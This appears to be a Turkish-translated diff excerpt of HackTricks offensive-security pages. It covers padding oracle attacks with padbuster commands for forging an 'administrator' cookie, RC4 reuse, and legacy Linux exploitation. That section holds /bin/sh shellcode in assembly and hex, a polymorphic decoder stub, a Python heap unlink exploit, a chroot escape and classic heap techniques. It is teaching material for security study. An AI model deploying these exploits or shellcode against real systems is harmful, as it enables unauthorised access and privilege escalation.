sudo apt-get install padbuster
```
Bir sitenin çerezinin savunmasız olup olmadığını test etmek için şunları deneyebilirsiniz:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Encoding 0** demek **base64** kullanıldığı anlamına gelir (ancak diğerleri de mevcuttur, yardım menüsüne bakın).
Bu zafiyeti **yeni verileri şifrelemek için kötüye kullanabilirsiniz. Örneğin, çerezin içeriği "**_**user=MyUsername**_**" ise, bunu "\_user=administrator\_" olarak değiştirebilir ve uygulama içinde yetkileri artırabilirsiniz. Bunu `paduster` kullanarak -plaintext** parametresini belirterek de yapabilirsiniz:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
Eğer site savunmasızsa `padbuster` otomatik olarak padding hatasının ne zaman meydana geldiğini bulmaya çalışacaktır, ancak hata mesajını **-error** parametresi ile de belirtebilirsiniz.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
## Teori
**Özetle**, tüm **farklı padding'leri** oluşturmak için kullanılabilecek doğru değerleri tahmin ederek şifrelenmiş verileri çözmeye başlayabilirsiniz. Ardından, padding oracle saldırısı, 1, 2, 3, vb. **padding'leri oluşturan** doğru değeri tahmin ederek son byte'dan başlayarak byte'ları çözmeye başlayacaktır.
![](<../images/image (629) (1) (1).png>)
Şifrelenmiş ve **E0'dan E15'e** kadar olan byte'ları içeren **2 blok**'a sahip olduğunuzu hayal edin.\
**Son** **blok**'u (**E8**'den **E15**'e) **çözmek** için, tüm blok "blok şifre çözme" işleminden geçerek **I0'dan I15'e** kadar olan **ara byte'ları** oluşturur.\
Son olarak, her ara byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **XOR'lanır**. Yani:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
- `C13 = I13 ^ E5`
- `C12 = I12 ^ E4`
- ...
Artık **`E7`'yi `C15`'in `0x01`** olana kadar **değiştirmek** mümkündür, bu da doğru bir padding olacaktır. Bu durumda: `\x01 = I15 ^ E'7`
E'7'yi bulduğunuzda, **I15**'i hesaplamak mümkündür: `I15 = 0x01 ^ E'7`
Bu da **C15**'i hesaplamamıza olanak tanır: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15**'i bildiğinizde, şimdi **C14**'ü hesaplamak mümkündür, ancak bu sefer padding'i `\x02\x02` ile brute-force yaparak.
Bu BF, `E''15` değerinin 0x02 olduğu hesaplanabildiği için önceki kadar karmaşıktır: `E''7 = \x02 ^ I15`, bu nedenle sadece **`E'14`**'ü bulmak gerekir ki bu da **`C14`'ün `0x02`** eşit olmasını sağlar.\
Ardından, C14'ü çözmek için aynı adımları izleyin: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Tüm şifrelenmiş metni çözene kadar bu zinciri takip edin.**
## Açığın Tespiti
Bir hesap kaydedin ve bu hesapla giriş yapın.\
Eğer **birçok kez giriş yaparsanız** ve her seferinde **aynı çerezi** alıyorsanız, uygulamada muhtemelen **bir sorun** vardır. **Geri gönderilen çerez her seferinde benzersiz olmalıdır.** Eğer çerez **her zaman** **aynı** ise, muhtemelen her zaman geçerli olacaktır ve onu **geçersiz kılmanın** bir yolu olmayacaktır.
Artık **çerezi** **değiştirmeyi** denediğinizde, uygulamadan bir **hata** aldığınızı görebilirsiniz.\
Ancak padding'i BF yaparsanız (örneğin padbuster kullanarak) farklı bir kullanıcı için geçerli başka bir çerez elde etmeyi başarırsınız. Bu senaryo, padbuster'a karşı yüksek ihtimalle savunmasızdır.
## Referanslar
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,15 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, o RC4 ile şifrelenmiş herhangi bir içeriği (aynı şifreyi kullanarak) sadece şifreleme fonksiyonunu kullanarak çözebilirsiniz.
Eğer bilinen bir düz metni şifreleyebiliyorsanız, şifreyi de çıkarabilirsiniz. Daha fazla referans HTB Kryptos makinesinde bulunabilir:
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,9 +0,0 @@
# E-posta Güvenlik Açıkları
{{#include ./banners/hacktricks-training.md}}
##
##
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,538 +0,0 @@
# Linux Exploiting (Basic) (SPA)
{{#include ../../banners/hacktricks-training.md}}
## **2.SHELLCODE**
Kernelle kesintileri göster: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\
exit(0); // \_\_NR_exit 1
xor eax, eax ; eax'i temizle\
xor ebx, ebx ; ebx = 0 çünkü geçilecek argüman yok\
mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\
int 0x80 ; Syscall'ı çalıştır
**nasm -f elf assembly.asm** —> Bize bir .o döner\
**ld assembly.o -o shellcodeout** —> Bize, assembly kodundan oluşan bir çalıştırılabilir dosya verir ve **objdump** ile opcode'ları alabiliriz\
**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcode'umuz olduğunu görmek ve OpCodes almak için
**Shellcode'un çalıştığını kontrol et**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Sistem çağrılarının doğru bir şekilde yapıldığını görmek için yukarıdaki program derlenmeli ve sistem çağrıları **strace ./PROGRAMA_COMPILADO**'da görünmelidir.
Shellcode oluştururken bir hile yapılabilir. İlk talimat bir çağrıya atlamadır. Çağrı, orijinal kodu çağırır ve ayrıca yığına EIP'yi ekler. Call talimatından sonra ihtiyaç duyduğumuz dizeyi ekledik, bu nedenle bu EIP ile dizeyi işaret edebiliriz ve ayrıca kodu çalıştırmaya devam edebiliriz.
EJ **TRUCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ stack kullanarak (/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Egg Huter:**
Bir sürecin bellek sayfalarını tarayan ve orada saklanan shellcode'u arayan küçük bir kod parçasından oluşur (shellcode'da yerleştirilmiş bir imza arar). Kod enjekte etmek için yalnızca küçük bir alanın bulunduğu durumlarda kullanışlıdır.
**Shellcodes polimórficos**
Şifrelenmiş shell'lerden oluşur ve bunları çözen ve ona atlayan küçük kodlar içerir, Call-Pop hilesini kullanarak bu bir **cesar şifreleme örneği** olur:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5.Tamamlayıcı Yöntemler**
**Murat Tekniği**
Linux'ta tüm programlar 0xbfffffff adresinden başlayarak haritalanır.
Linux'ta yeni bir sürecin yığın yapısının nasıl oluşturulduğunu görmek, bir exploit geliştirmeyi sağlar; böylece program, yalnızca shellcode'un bulunduğu bir ortamda başlatılabilir. Bu durumda, adres şu şekilde hesaplanabilir: addr = 0xbfffffff - 4 - strlen(TAM_ADI) - strlen(shellcode)
Bu şekilde, shellcode ile çevre değişkeninin bulunduğu adres kolayca elde edilebilir.
Bu, execle fonksiyonunun yalnızca istenen çevre değişkenlerini içeren bir ortam oluşturmasına olanak tanıdığı için mümkündür.
##
###
###
###
###
### **Format Strings to Buffer Overflows**
**sprintf**, biçimlendirilmiş bir dizeyi bir **değişkene** **taşır.** Bu nedenle, bir dize biçimlendirmesini kötüye kullanarak, içeriğin kopyalandığı **değişkende bir tampon taşması** oluşturabilirsiniz.\
Örneğin, `%.44xAAAA` yükü **44B+"AAAA"yı değişkene yazacaktır**, bu da bir tampon taşmasına neden olabilir.
### **\_\_atexit Yapıları**
> [!CAUTION]
> Günümüzde bunu istismar etmek çok **garip**.
**`atexit()`**, **diğer fonksiyonların parametre olarak geçirildiği** bir fonksiyondur. Bu **fonksiyonlar**, **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaktır**.\
Eğer bu **fonksiyonlardan** herhangi birinin **adresini** shellcode'a işaret edecek şekilde **değiştirebilirseniz**, **sürecin kontrolünü** ele geçireceksiniz, ancak bu şu anda daha karmaşık.\
Şu anda, çalıştırılacak **fonksiyonların adresleri** birkaç yapı arkasında **gizlidir** ve nihayetinde işaret ettikleri adresler, fonksiyonların adresleri değil, **XOR ile şifrelenmiş** ve **rastgele bir anahtar** ile kaydırılmıştır. Bu nedenle, şu anda bu saldırı vektörü **en azından x86** ve **x64_86** üzerinde **çok kullanışlı değildir**.\
**Şifreleme fonksiyonu** **`PTR_MANGLE`**'dir. **m68k, mips32, mips64, aarch64, arm, hppa** gibi **diğer mimariler** şifreleme fonksiyonunu **uygulamaz** çünkü bu fonksiyon **girdi olarak aldığı ile aynı** değeri döndürür. Bu nedenle, bu mimariler bu vektörle saldırıya uğrayabilir.
### **setjmp() & longjmp()**
> [!CAUTION]
> Günümüzde bunu istismar etmek çok **garip**.
**`setjmp()`**, **bağlamı** (kayıtları) **kaydetmeye** olanak tanır.\
**`longjmp()`**, **bağlamı** **geri yüklemeye** olanak tanır.\
**Kaydedilen kayıtlar**: `EBX, ESI, EDI, ESP, EIP, EBP`\
Olan şey, EIP ve ESP'nin **`PTR_MANGLE`** fonksiyonu tarafından geçildiğidir, bu nedenle **bu saldırıya karşı savunmasız mimariler yukarıdakilerle aynıdır**.\
Hata kurtarma veya kesintiler için kullanışlıdır.\
Ancak, okuduğum kadarıyla, diğer kayıtlar korunmamıştır, **bu nedenle eğer çağrılan fonksiyon içinde `call ebx`, `call esi` veya `call edi` varsa**, kontrol ele geçirilebilir. Ya da EBP'yi değiştirerek ESP'yi de değiştirebilirsiniz.
**C++'da VTable ve VPTR**
Her sınıfın bir **Vtable**'ı vardır; bu, **metotlara işaret eden** bir dizidir.
Her **sınıf** nesnesinin bir **VPtr**'ı vardır; bu, sınıfının dizisine işaret eden bir **işaretçidir**. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle bir **VPtr**'ın **aşırı yazılması** sağlanırsa, bir sahte metoda **işaret edecek şekilde** **değiştirilebilir**, böylece bir fonksiyon çalıştırıldığında shellcode'a yönlendirilir.
## **Önleyici Tedbirler ve Kaçışlar**
###
**Libsafe Değiştirme**
Şu şekilde etkinleştirilir: LD_PRELOAD=/lib/libsafe.so.2\
veya\
“/lib/libsave.so.2” > /etc/ld.so.preload
Güvensiz bazı fonksiyon çağrıları, güvenli olanlarla değiştirilir. Standart değildir. (sadece x86 için, -fomit-frame-pointer ile derlenmiş sürümler için değil, statik derlemeler için değil, tüm savunmasız fonksiyonlar güvenli hale gelmez ve LD_PRELOAD, suid ile olan ikili dosyalarda işe yaramaz).
**ASCII Donanımlı Adres Alanı**
0x00000000 ile 0x00ffffff arasında paylaşılan kütüphaneleri yüklemeyi içerir, böylece her zaman bir 0x00 baytı bulunur. Ancak, bu gerçekten neredeyse hiçbir saldırıyı durdurmaz, özellikle little endian'da.
**ret2plt**
strcpy@plt (plt'den) fonksiyonunu çağıracak şekilde bir ROP gerçekleştirmeyi ve GOT'taki girişe işaret etmeyi içerir ve çağrılmak istenen fonksiyonun ilk baytını (system()) kopyalar. Ardından, GOT+1'e işaret ederek system()'in 2. baytını kopyalar... Sonunda, system() olacak şekilde GOT'ta saklanan adres çağrılır.
**chroot() ile Kafesler**
debootstrap -arch=i386 hardy /home/user —> Belirli bir alt dizin altında temel bir sistem kurar.
Bir yönetici, bu kafeslerden birinden çıkmak için: mkdir foo; chroot foo; cd .. komutunu kullanabilir.
**Kod Enstrümantasyonu**
Valgrind —> Hataları arar\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Yığın Taşmaları: Temel Exploitler**
**Atanan Parça**
prev_size |\
size | —Başlık\
\*mem | Veriler
**Boş Parça**
prev_size |\
size |\
\*fd | İleri parça işaretçisi\
\*bk | Geri parça işaretçisi —Başlık\
\*mem | Veriler
Boş parçalar çift bağlı bir listede (bin) bulunur ve asla yan yana iki boş parça olamaz (birleşirler).
“size” içinde, önceki parçanın kullanılıp kullanılmadığını, parçanın mmap() ile atanıp atanmadığını ve parçanın birincil arenaya ait olup olmadığını belirten bitler vardır.
Eğer bir parçayı serbest bırakırken, komşulardan biri boşsa, bunlar unlink() makrosu aracılığıyla birleştirilir ve yeni daha büyük parça frontlink()'e geçirilir, böylece uygun bin'e eklenir.
unlink(){\
BK = P->bk; —> Yeni parçanın BK'si, daha önce boş olan parçanın BK'sidir.\
FD = P->fd; —> Yeni parçanın FD'si, daha önce boş olan parçanın FD'sidir.\
FD->bk = BK; —> Sonraki parçanın BK'si yeni parçaya işaret eder.\
BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder.\
}
Bu nedenle, eğer P->bk'yi bir shellcode adresi ile ve P->fd'yi GOT veya DTORS'taki bir girişin adresi ile 12 azaltarak değiştirebilirsek:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode
Ve böylece programdan çıkarken shellcode çalıştırılır.
Ayrıca, unlink()'in 4. ifadesi bir şey yazar ve shellcode bunun için onarılmalıdır:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı, bunu atlamak ve geri kalan shellcode'a yönlendiren bir jmp olmalıdır.
Bu nedenle exploit şu şekilde oluşturulur:
buffer1'e shellcode'u, nops veya geri kalan shellcode'a düşecek bir jmp ile başlarız.
Shellcode'dan sonra, bir önceki parçanın prev_size ve size alanına kadar dolgu ekleriz. Bu alanlara 0xfffffff0 (önceki parçanın boş olduğunu belirten bitin ayarlanması için) ve “-4“(0xfffffffc) ekleriz (3. parçanın 2. parçanın gerçekten boş olup olmadığını kontrol ettiğinde, değiştirilmiş prev_size'a gidecek ve boş olduğunu söyleyecektir) -> Böylece free() araştırdığında 3. parçanın boyutuna gidecek, ancak aslında 2. parçaya -4 gidecek ve 2. parçanın boş olduğunu düşünecektir. Ve ardından **unlink()** çağrılacaktır.
unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verilerini kullanacak, bu nedenle oraya yazmak istediğiniz adresi -12 (çünkü FD->bk, saklanan adrese 12 ekleyecektir) yerleştirecektir. Ve o adrese, 2. parçadaki ikinci adresi yerleştirecektir, bu adresin shellcode'a (yanlış P->bk) işaret etmesini istiyoruz.
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bayt dolgu**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev_size = pack("\<I”, 0xfffffff0) #Önceki parçanın boş olduğunu belirten bitin 1 olması önemlidir.**
**fake_size = pack("\<I”, 0xfffffffc) #-4, böylece 3. parçanın “size”'ının 4 bayt geride olduğunu düşünür (prev_size'a işaret eder) çünkü burada 2. parçanın boş olup olmadığını kontrol eder.**
**addr_sc = pack("\<I", 0x0804a008 + 8) #Yükün başına 8 bayt dolgu ekleyeceğiz.**
**got_free = pack("\<I", 0x08048300 - 12) #free() adresi plt'den -12 (shellcode'u çalıştırmak için 2. kez free() çağrıldığında yazılacak adres).**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Yük, 8 bayt dolgu ile başlar.**
**payload += prev_size + fake_size + got_free + addr_sc #2. parçayı değiştiriyoruz, got_free, adresi addr_sc + 12'ye kaydedeceğimiz yere işaret ediyor.**
**os.system("./8.3.o " + payload)**
**unset() tersine serbest bırakma (wargame)**
Üç ardışık parçayı kontrol ediyoruz ve bunlar, ayrıldıkları sıranın tersine serbest bırakılıyor.
Bu durumda:
c parçasına shellcode yerleştiriliyor.
a parçasını, b parçasını öyle bir şekilde aşırı yazmak için kullanıyoruz ki, size alanında PREV_INUSE bitinin devre dışı bırakılması sağlanıyor, böylece a parçasının boş olduğunu düşünüyor.
Ayrıca, b parçasının başlığında size alanını -4 olacak şekilde aşırı yazıyoruz.
Böylece program, “a”nın boş olduğunu ve bir bin içinde olduğunu düşünecek, bu nedenle unlink() çağrısı yapacaktır. Ancak, PREV_SIZE başlığı -4 olduğundan, “a” parçasının aslında b+4'te başladığını düşünecektir. Yani, b+4'te bir unlink() yapacak, bu nedenle b+12'de “fd” işaretçisi ve b+16'da “bk” işaretçisi olacaktır.
Bu şekilde, bk'ye shellcode adresini ve fd'ye “puts()” fonksiyonunun adresini -12 yerleştirirsek, payload'ımızı elde ederiz.
**Frontlink Tekniği**
Bir şey serbest bırakıldığında ve komşu parçalar boş değilse frontlink çağrılır, unlink() çağrılmaz, doğrudan frontlink() çağrılır.
Serbest bırakılan malloc'un asla serbest bırakılmadığı durumlarda yararlıdır.
Gereksinimler:
- Giriş verileri ile taşma yapabilecek bir tampon
- Bu tampona bitişik bir tampon, serbest bırakılacak ve önceki tamponun taşması sayesinde başlığındaki fd alanı değiştirilecektir.
- Boyutu 512'den büyük ama önceki tampondan küçük bir tampon
- Bu adımdan önce tanımlanmış bir tampon, bu tamponun prev_size'ınıırı yazmaya izin verecektir.
Bu şekilde, iki malloc'ta kontrolsüz bir şekilde ve birinde kontrol altında aşırı yazma yaparak bir exploit oluşturabiliriz.
**double free() Açığı**
Aynı işaretçi ile free() iki kez çağrılırsa, iki bin aynı adrese işaret eder.
Birini yeniden kullanmak isterseniz, sorun olmadan atanır. Diğerini kullanmak isterseniz, aynı alan atanır, bu nedenle “fd” ve “bk” işaretçileri, önceki rezervasyonun yazacağı verilerle yanıltılır.
**free() Sonrası**
Daha önce serbest bırakılmış bir işaretçi, kontrolsüz bir şekilde yeniden kullanılır.
## **8 Yığın Taşmaları: Gelişmiş Exploitler**
Unlink() ve FrontLink() teknikleri, unlink() fonksiyonu değiştirilerek kaldırıldı.
**The house of mind**
Arbitrary kodun yürütülmesini sağlamak için yalnızca bir free() çağrısı gereklidir. Önceki bir parçanın taşmasıyla serbest bırakılacak ikinci bir parça aramak önemlidir.
Bir free() çağrısı, public_fREe(mem) çağrısını tetikler, bu da:
mstate ar_ptr;
mchunkptr p;
p = mem2chunk(mem); —> Parçanın başladığı adrese işaret eden bir işaretçi döndürür (mem-8)
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
\_int_free(ar_ptr, mem);
}
\[1\] içinde, size alanını kontrol eder, NON_MAIN_ARENA bitini, bu bitin true döndürülmesi için değiştirilebilir ve heap_for_ptr()'u çalıştırır; bu, “mem” üzerinde bir and işlemi yaparak en az önemli 2.5 baytı 0 yapar (bu durumda 0x0804a000'dan 0x08000000'a düşer) ve 0x08000000->ar_ptr'a erişir (sanki bir heap_info yapısıymış gibi).
Bu şekilde, örneğin 0x0804a000'da bir parçayı kontrol edebilirsek ve **0x081002a0** adresinde bir parça serbest bırakılacaksa, 0x08100000 adresine ulaşabilir ve istediğimiz şeyi yazabiliriz, örneğin **0x0804a000**. Bu ikinci parça serbest bırakıldığında, heap_for_ptr(ptr)->ar_ptr'ın 0x08100000'da yazdığımızı döndüreceğini buluruz (çünkü önceki and işlemi 0x081002a0'a uygulanır ve buradan ilk 4 baytın değeri, ar_ptr alınır).
Bu şekilde, \_int_free(ar_ptr, mem) çağrılır, yani **\_int_free(0x0804a000, 0x081002a0)**\
**\_int_free(mstate av, Void_t\* mem){**\
…\
bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Daha önce gördüğümüz gibi, av değerini kontrol edebiliriz, çünkü serbest bırakılacak parçada yazdığımız şeydir.
Unsorted_chunks tanımına göre, şunu biliyoruz:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Bu nedenle, av->bins\[2]'ye \_\_DTOR_END\_\_-12 değerini yazarsak, son talimat \_\_DTOR_END\_\_ adresine ikinci parçanın adresini yazacaktır.
Yani, ilk parçanın başına birçok kez \_\_DTOR_END\_\_-12 adresini koymalıyız, çünkü av->bins\[2] oradan alacaktır.
İkinci parçanın adresine, son 5 sıfırla birlikte, bu ilk parçanın adresini yazmalıyız, böylece heap_for_ptr() ar_ptr'ın ilk parçanın başında olduğunu düşünür ve oradan av->bins\[2]'yi alır.
İkinci parçada ve birincisinden yararlanarak, prev_size'ı 0x0c ile ve size'ı NON_MAIN_ARENA'yı etkinleştirecek bir şeyle aşırı yazıyoruz.
Ardından, 2. parçaya bir sürü nop koyuyoruz ve sonunda shellcode'u yerleştiriyoruz.
Bu şekilde, \_int_free(TROZO1, TROZO2) çağrılacak ve talimatları izleyerek \_\_DTOR_END\_\_ adresine TROZO2'nin prev_size adresini yazacak, bu da shellcode'a atlayacaktır.
Bu tekniği uygulamak için, payload'u biraz daha karmaşıklaştıran bazı ek gereksinimlerin karşılanması gerekir.
Bu teknik artık uygulanamaz çünkü unlink için neredeyse aynı yamanın uygulandığı görüldü. Yeni işaret edilen yerin de kendisine işaret edip etmediği kontrol edilir.
**Fastbin**
The house of mind'ın bir varyantıdır.
Aşağıdaki kodu çalıştırmak için, \_int_free() fonksiyonunun ilk kontrolünden geçmek önemlidir.
fb = &(av->fastbins\[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Bu şekilde, “fb”'ye bir GOT fonksiyonunun adresi yerleştirilirse, bu adrese aşırı yazılmış parçanın adresi yerleştirilecektir. Bunun için arenanın dtors adreslerine yakın olması gerekecektir. Daha kesin olarak, av->max_fast'in aşırı yazacağımız adreste olması gerekmektedir.
The House of Mind ile, av'nin konumunu kontrol edebildiğimizi gördük.
Bu nedenle, size alanına 8 + NON_MAIN_ARENA + PREV_INUSE yazarsak —> fastbin_index() fastbins\[-1'i döndürecektir, bu da av->max_fast'e işaret edecektir.
Bu durumda av->max_fast, aşırı yazılacak adres olacaktır (işaret ettiği adres değil, o konum aşırı yazılacaktır).
Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği de belirtilmelidir -> Daha önce serbest bırakılan parçanın boyutunun 8 olduğunu belirttiğimiz için, bu sahte parçanın yalnızca 8'den büyük bir boyuta sahip olması gerekir (ayrıca shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymamız gerekecektir).
Ayrıca, bu sahte parça av->system_mem'den küçük olmalıdır. av->system_mem, 1848 bayt daha ileridedir.
\_\_DTOR_END\_'in sıfırları ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri aşırı yazılmak için uygun değildir, bu nedenle yığın saldırısı için fastbin'i nasıl uygulayacağımıza bakalım.
Başka bir saldırı yöntemi, **av**'yi yığına yönlendirmektir.
Boyutu 8 yerine 16 olacak şekilde değiştirirsek, fastbin_index() fastbins\[0'ı döndürecektir ve bunu yığın üzerinde aşırı yazmak için kullanabiliriz.
Bunun için yığında hiçbir canary veya garip değer olmamalıdır, aslında şunları bulmalıyız: 4 bayt sıfır + EBP + RET
4 bayt sıfır, **av**'nin bu adreste olmasını sağlamak için gereklidir ve bir **av**'nin ilk öğesi, 0 olmalıdır.
**av->max_fast**, EBP olacaktır ve bu, kısıtlamaları atlamamız için bir değer olacaktır.
**av->fastbins\[0]**'da **p**'nin adresi ile aşırı yazılacak ve RET olacaktır, böylece shellcode'a atlayacaktır.
Ayrıca, **av->system_mem** (yığın konumunun 1484 bayt yukarısında) yeterince çöp olacaktır, bu da kontrolü atlamamıza izin verecektir.
Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği de belirtilmelidir -> Daha önce serbest bırakılan parçanın boyutunun 16 olduğunu belirttiğimiz için, bu sahte parçanın yalnızca 8'den büyük bir boyuta sahip olması gerekir (ayrıca shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymamız gerekecektir).
**The House of Spirit**
Bu durumda, saldırgan tarafından değiştirilebilen bir malloc işaretçisine sahip olmayı hedefliyoruz (örneğin, işaretçi bir değişkenin altında yığında olabilir).
Bu şekilde, bu işaretçiyi istediğimiz yere yönlendirebiliriz. Ancak, her yer geçerli değildir; sahte parçanın boyutu av->max_fast'ten küçük olmalı ve daha spesifik olarak, gelecekteki bir malloc() çağrısında istenen boyuta eşit olmalıdır. Bu nedenle, bu işaretçi savunmasız olduğunda malloc(40) çağrıldığında, sahte parçanın boyutu 48 olmalıdır.
Örneğin, program kullanıcıdan bir sayı isterse, 48 girebiliriz ve değiştirilebilir malloc işaretçisini sonraki 4 bayta (şans eseri EBP'ye ait olabilecek) yönlendirebiliriz, böylece 48 geride kalır, sanki başlık boyutuymuş gibi. Ayrıca, ptr-4+48 adresinin birkaç koşulu karşılaması gerekir (bu durumda ptr=EBP), yani, 8 < ptr-4+48 < av->system_mem.
Bu koşullar sağlanırsa, bir sonraki malloc çağrısı malloc(40) olduğunda, EBP adresine atanacaktır. Eğer saldırgan bu malloc'ta ne yazılacağını da kontrol edebilirse, hem EBP'yi hem de EIP'yi istediği adresle aşırı yazabilir.
Bunun nedeni, free() çağrıldığında, yığın üzerindeki EBP adresine işaret eden bir parçanın, yeni malloc() için mükemmel boyutta bir parça olduğunu kaydetmesidir, bu nedenle o adrese atanır.
**The House of Force**
Gereksinimler:
- Wilderness'a aşırı yazma yapacak bir taşma
- Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı
- Kullanıcı tarafından tanımlanabilen verilerle bir malloc() çağrısı
İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) aşırı yazıyoruz, böylece yeterince büyük herhangi bir bellek talebi, yığını genişletmeye gerek kalmadan \_int_malloc() içinde işlenir.
İkincisi, av->top'un, saldırganın kontrolü altındaki bir bellek alanına işaret etmesini sağlamak, örneğin yığın. av->top'a \&EIP - 8 yazılacaktır.
av->top'u, saldırganın kontrolü altındaki bellek alanına işaret edecek şekilde aşırı yazmalıyız:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim, mevcut wilderness parçasının adresinin değerini alır (mevcut av->top) ve remainder, o adresin üzerine malloc() tarafından talep edilen bayt sayısını ekler. Yani, \&EIP-8 0xbffff224'te ve av->top 0x080c2788'de ise, kontrol edilen malloc'ta av->top'un $EIP-8'e işaret etmesi için ayırmamız gereken miktar:
0xbffff224 - 0x080c2788 = 3086207644.
Böylece av->top'a değiştirilmiş değer kaydedilecektir ve bir sonraki malloc, EIP'ye işaret edecek ve onu aşırı yazabilecektir.
Yeni wilderness parçasının boyutunun, son malloc() talebinden daha büyük olduğunu bilmek önemlidir. Yani, wilderness \&EIP-8'e işaret ediyorsa, boyut tam olarak yığın üzerindeki EBP alanında kalacaktır.
**The House of Lore**
**SmallBin Bozulması**
